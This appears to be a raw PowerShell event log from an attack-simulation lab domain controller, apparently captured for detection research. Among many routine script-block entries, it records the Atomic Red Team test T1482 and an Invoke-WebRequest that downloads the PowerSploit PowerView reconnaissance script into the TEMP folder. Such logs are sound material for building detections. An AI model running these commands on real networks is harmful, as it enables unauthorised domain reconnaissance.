EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477936
Keywords=None
Message=Started invocation of ScriptBlock ID: 9eb59db5-ed3e-41d3-9d04-6a88e40f3e61
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477935
Keywords=None
Message=Started invocation of ScriptBlock ID: 3a4f0322-8a1f-4935-b75b-7b1360c19530
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477934
Keywords=None
Message=Started invocation of ScriptBlock ID: 09b14349-c1b3-400b-82ec-b469daf1f080
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477933
Keywords=None
Message=Started invocation of ScriptBlock ID: d0701c1a-1fc1-42c2-8856-836216e43540
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477932
Keywords=None
Message=Completed invocation of ScriptBlock ID: b5c66ef7-f75f-4763-a002-15bb79633869
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477931
Keywords=None
Message=Started invocation of ScriptBlock ID: b5c66ef7-f75f-4763-a002-15bb79633869
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477930
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477929
Keywords=None
Message=Started invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477928
Keywords=None
Message=Completed invocation of ScriptBlock ID: 32d46f36-be94-4f0d-abe1-0c2f6b2cdf81
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477927
Keywords=None
Message=Started invocation of ScriptBlock ID: 32d46f36-be94-4f0d-abe1-0c2f6b2cdf81
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477926
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1ef9c228-b78e-4897-b91e-9c995c7fd3bc
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477925
Keywords=None
Message=Completed invocation of ScriptBlock ID: 88a2af4a-0ee6-46e8-a571-ddd8e16433be
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477924
Keywords=None
Message=Started invocation of ScriptBlock ID: 88a2af4a-0ee6-46e8-a571-ddd8e16433be
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1477923
Keywords=None
Message=Creating Scriptblock text (1 of 1):
$global:?
ScriptBlock ID: 88a2af4a-0ee6-46e8-a571-ddd8e16433be
Path:
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477922
Keywords=None
Message=Completed invocation of ScriptBlock ID: 955a9871-e401-4166-a549-d7e044630cd5
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477921
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a524875-4ae2-4df9-b553-223ddaf8a6cb
Runspace ID: 1aff8b99-d834-4746-bacc-fa5d8d5de137
06/15/2021 05:06:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478056
Keywords=None
Message=Completed invocation of ScriptBlock ID: b459aaab-de7d-420a-80f5-5c41c18dff6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478055
Keywords=None
Message=Started invocation of ScriptBlock ID: b459aaab-de7d-420a-80f5-5c41c18dff6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478054
Keywords=None
Message=Started invocation of ScriptBlock ID: 9977b850-34e8-42e4-a697-d3c6bfbce619
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478053
Keywords=None
Message=Completed invocation of ScriptBlock ID: 09cb335e-396f-45bc-bf57-1b3b9cd655fd
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478052
Keywords=None
Message=Started invocation of ScriptBlock ID: 09cb335e-396f-45bc-bf57-1b3b9cd655fd
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478051
Keywords=None
Message=Started invocation of ScriptBlock ID: 72eddf12-5b9d-4006-a18f-22f4fda72008
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1478050
Keywords=None
Message=Creating Scriptblock text (1 of 1):
Invoke-AtomicTest T1482 -GetPrereqs
ScriptBlock ID: 72eddf12-5b9d-4006-a18f-22f4fda72008
Path:
06/15/2021 05:06:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478049
Keywords=None
Message=Completed invocation of ScriptBlock ID: a85bed97-9bbb-4097-beff-9d8cef80286e
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478245
Keywords=None
Message=Completed invocation of ScriptBlock ID: 370efe8e-bfc1-4a00-918f-d7005c7e39ec
Runspace ID: 28137c09-3484-42fe-8458-ca9fd0ddf20c
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478244
Keywords=None
Message=Started invocation of ScriptBlock ID: 370efe8e-bfc1-4a00-918f-d7005c7e39ec
Runspace ID: 28137c09-3484-42fe-8458-ca9fd0ddf20c
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478243
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9eb6e5bb-bf13-4e0a-8b00-b3343958fd93
Runspace ID: 28137c09-3484-42fe-8458-ca9fd0ddf20c
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478242
Keywords=None
Message=Started invocation of ScriptBlock ID: 9eb6e5bb-bf13-4e0a-8b00-b3343958fd93
Runspace ID: 28137c09-3484-42fe-8458-ca9fd0ddf20c
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478241
Keywords=None
Message=Started invocation of ScriptBlock ID: 2f799c52-8d1c-4eda-ac6c-50cf709fd844
Runspace ID: 28137c09-3484-42fe-8458-ca9fd0ddf20c
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1478240
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{Invoke-WebRequest "https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1" -OutFile "$env:TEMP\PowerView.ps1"}
ScriptBlock ID: 2f799c52-8d1c-4eda-ac6c-50cf709fd844
Path:
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478239
Keywords=None
Message=Started invocation of ScriptBlock ID: 0f7877f5-b9ae-4ce1-b67c-0f2c38fbc268
Runspace ID: 28137c09-3484-42fe-8458-ca9fd0ddf20c
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1478238
Keywords=None
Message=Creating Scriptblock text (1 of 1):
& {Invoke-WebRequest "https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1" -OutFile "$env:TEMP\PowerView.ps1"}
ScriptBlock ID: 0f7877f5-b9ae-4ce1-b67c-0f2c38fbc268
Path:
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=40962
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=PowerShell Console Startup
OpCode=Stop
RecordNumber=1478237
Keywords=None
Message=PowerShell console is ready for user input
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=53504
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=PowerShell Named Pipe IPC
OpCode=Open (async)
RecordNumber=1478236
Keywords=None
Message=Windows PowerShell has started an IPC listening thread on process: 2332 in AppDomain: DefaultAppDomain.
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=40961
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=PowerShell Console Startup
OpCode=Start
RecordNumber=1478235
Keywords=None
Message=PowerShell console is starting up
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478234
Keywords=None
Message=Started invocation of ScriptBlock ID: 1ef9c228-b78e-4897-b91e-9c995c7fd3bc
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478233
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1ef9c228-b78e-4897-b91e-9c995c7fd3bc
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478232
Keywords=None
Message=Completed invocation of ScriptBlock ID: 81caadf3-9d1d-4005-ba58-ff7a1c30b7e9
Runspace ID: 976e0607-9d72-49d1-be38-78f9d6c7fe08
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478231
Keywords=None
Message=Completed invocation of ScriptBlock ID: c4d417b6-9588-44fe-b617-23cb91cf40a5
Runspace ID: 976e0607-9d72-49d1-be38-78f9d6c7fe08
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478230
Keywords=None
Message=Completed invocation of ScriptBlock ID: f6b24f27-1a6a-4832-93ba-64aa08eb8453
Runspace ID: 976e0607-9d72-49d1-be38-78f9d6c7fe08
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478229
Keywords=None
Message=Started invocation of ScriptBlock ID: f6b24f27-1a6a-4832-93ba-64aa08eb8453
Runspace ID: 976e0607-9d72-49d1-be38-78f9d6c7fe08
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478228
Keywords=None
Message=Started invocation of ScriptBlock ID: c4d417b6-9588-44fe-b617-23cb91cf40a5
Runspace ID: 976e0607-9d72-49d1-be38-78f9d6c7fe08
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1478227
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{if (Test-Path $env:TEMP\PowerView.ps1) {exit 0} else {exit 1}}
ScriptBlock ID: c4d417b6-9588-44fe-b617-23cb91cf40a5
Path:
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478226
Keywords=None
Message=Started invocation of ScriptBlock ID: 81caadf3-9d1d-4005-ba58-ff7a1c30b7e9
Runspace ID: 976e0607-9d72-49d1-be38-78f9d6c7fe08
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1478225
Keywords=None
Message=Creating Scriptblock text (1 of 1):
& {if (Test-Path $env:TEMP\PowerView.ps1) {exit 0} else {exit 1}}
ScriptBlock ID: 81caadf3-9d1d-4005-ba58-ff7a1c30b7e9
Path:
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=40962
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=PowerShell Console Startup
OpCode=Stop
RecordNumber=1478224
Keywords=None
Message=PowerShell console is ready for user input
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=53504
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=PowerShell Named Pipe IPC
OpCode=Open (async)
RecordNumber=1478223
Keywords=None
Message=Windows PowerShell has started an IPC listening thread on process: 6628 in AppDomain: DefaultAppDomain.
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=40961
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=PowerShell Console Startup
OpCode=Start
RecordNumber=1478222
Keywords=None
Message=PowerShell console is starting up
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478221
Keywords=None
Message=Started invocation of ScriptBlock ID: 1ef9c228-b78e-4897-b91e-9c995c7fd3bc
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478220
Keywords=None
Message=Completed invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478219
Keywords=None
Message=Started invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478218
Keywords=None
Message=Completed invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478217
Keywords=None
Message=Started invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478216
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478215
Keywords=None
Message=Started invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
